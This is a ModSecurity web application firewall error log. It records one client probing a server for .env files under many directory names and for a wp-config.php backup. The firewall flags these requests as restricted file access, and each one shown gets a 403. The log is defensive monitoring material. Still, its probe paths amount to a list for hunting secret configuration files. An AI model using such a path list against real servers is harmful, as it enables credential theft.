[Mon Oct 26 23:35:47.207499 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/frontend/.env"] [unique_id "auAcEzvJu9RIoV0HiuBZ7AAAAAA"]
[Mon Oct 26 23:35:47.209485 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/laravel/.env"] [unique_id "auAcEztlUsnco091MEfmAgAAAAc"]
[Mon Oct 26 23:35:47.209647 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/laravel/.env"] [unique_id "auAcEztlUsnco091MEfmAgAAAAc"]
[Mon Oct 26 23:35:47.209862 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/laravel/.env"] [unique_id "auAcEztlUsnco091MEfmAgAAAAc"]
[Mon Oct 26 23:35:47.244331 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/media/.env"] [unique_id "auAcE-JUkwm96ZYHDUs2FAAAABE"]
[Mon Oct 26 23:35:47.244331 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/new/.env"] [unique_id "auAcE_aBHXiICPr245B4NgAAAAM"]
[Mon Oct 26 23:35:47.244531 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/media/.env"] [unique_id "auAcE-JUkwm96ZYHDUs2FAAAABE"]
[Mon Oct 26 23:35:47.244548 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/new/.env"] [unique_id "auAcE_aBHXiICPr245B4NgAAAAM"]
[Mon Oct 26 23:35:47.244798 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/media/.env"] [unique_id "auAcE-JUkwm96ZYHDUs2FAAAABE"]
[Mon Oct 26 23:35:47.244921 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/new/.env"] [unique_id "auAcE_aBHXiICPr245B4NgAAAAM"]
[Mon Oct 26 23:35:47.245725 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/old/.env"] [unique_id "auAcE2D99EvW2fD6Vi-v0wAAABM"]
[Mon Oct 26 23:35:47.245875 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/old/.env"] [unique_id "auAcE2D99EvW2fD6Vi-v0wAAABM"]
[Mon Oct 26 23:35:47.246115 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/old/.env"] [unique_id "auAcE2D99EvW2fD6Vi-v0wAAABM"]
[Mon Oct 26 23:35:47.282976 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/production/.env"] [unique_id "auAcE19GAVpomZaedseMZAAAAAQ"]
[Mon Oct 26 23:35:47.283138 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/production/.env"] [unique_id "auAcE19GAVpomZaedseMZAAAAAQ"]
[Mon Oct 26 23:35:47.283384 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/production/.env"] [unique_id "auAcE19GAVpomZaedseMZAAAAAQ"]
[Mon Oct 26 23:35:47.284207 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/public/.env"] [unique_id "auAcE2_jKEuts3LY6kCVmAAAAAE"]
[Mon Oct 26 23:35:47.284337 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/public/.env"] [unique_id "auAcE2_jKEuts3LY6kCVmAAAAAE"]
[Mon Oct 26 23:35:47.284646 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/public/.env"] [unique_id "auAcE2_jKEuts3LY6kCVmAAAAAE"]
[Mon Oct 26 23:35:47.321976 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/server/.env"] [unique_id "auAcE2D99EvW2fD6Vi-v1AAAABM"]
[Mon Oct 26 23:35:47.322117 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/server/.env"] [unique_id "auAcE2D99EvW2fD6Vi-v1AAAABM"]
[Mon Oct 26 23:35:47.322360 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/server/.env"] [unique_id "auAcE2D99EvW2fD6Vi-v1AAAABM"]
[Mon Oct 26 23:35:47.358971 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/src/.env"] [unique_id "auAcEzvJu9RIoV0HiuBZ7gAAAAA"]
[Mon Oct 26 23:35:47.359160 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/src/.env"] [unique_id "auAcEzvJu9RIoV0HiuBZ7gAAAAA"]
[Mon Oct 26 23:35:47.359533 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/src/.env"] [unique_id "auAcEzvJu9RIoV0HiuBZ7gAAAAA"]
[Mon Oct 26 23:35:47.360450 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/test/.env"] [unique_id "auAcE2_jKEuts3LY6kCVmQAAAAE"]
[Mon Oct 26 23:35:47.360658 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/test/.env"] [unique_id "auAcE2_jKEuts3LY6kCVmQAAAAE"]
[Mon Oct 26 23:35:47.360893 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/test/.env"] [unique_id "auAcE2_jKEuts3LY6kCVmQAAAAE"]
[Mon Oct 26 23:35:47.361805 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/v1/.env"] [unique_id "auAcEztlUsnco091MEfmBAAAAAc"]
[Mon Oct 26 23:35:47.361946 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/v1/.env"] [unique_id "auAcEztlUsnco091MEfmBAAAAAc"]
[Mon Oct 26 23:35:47.362222 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/v1/.env"] [unique_id "auAcEztlUsnco091MEfmBAAAAAc"]
[Mon Oct 26 23:35:47.363106 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/v2/.env"] [unique_id "auAcE3qFfbazysLpfsTwVAAAAA8"]
[Mon Oct 26 23:35:47.363230 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/v2/.env"] [unique_id "auAcE3qFfbazysLpfsTwVAAAAA8"]
[Mon Oct 26 23:35:47.363485 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/v2/.env"] [unique_id "auAcE3qFfbazysLpfsTwVAAAAA8"]
[Mon Oct 26 23:35:47.364378 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/staging/.env"] [unique_id "auAcE19GAVpomZaedseMZQAAAAQ"]
[Mon Oct 26 23:35:47.364532 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/staging/.env"] [unique_id "auAcE19GAVpomZaedseMZQAAAAQ"]
[Mon Oct 26 23:35:47.364741 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/staging/.env"] [unique_id "auAcE19GAVpomZaedseMZQAAAAQ"]
[Mon Oct 26 23:35:47.398259 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "auAcE2D99EvW2fD6Vi-v1QAAABM"]
[Mon Oct 26 23:35:47.398405 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "auAcE2D99EvW2fD6Vi-v1QAAABM"]
[Mon Oct 26 23:35:47.398630 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/wp-config.php.bak"] [unique_id "auAcE2D99EvW2fD6Vi-v1QAAABM"]
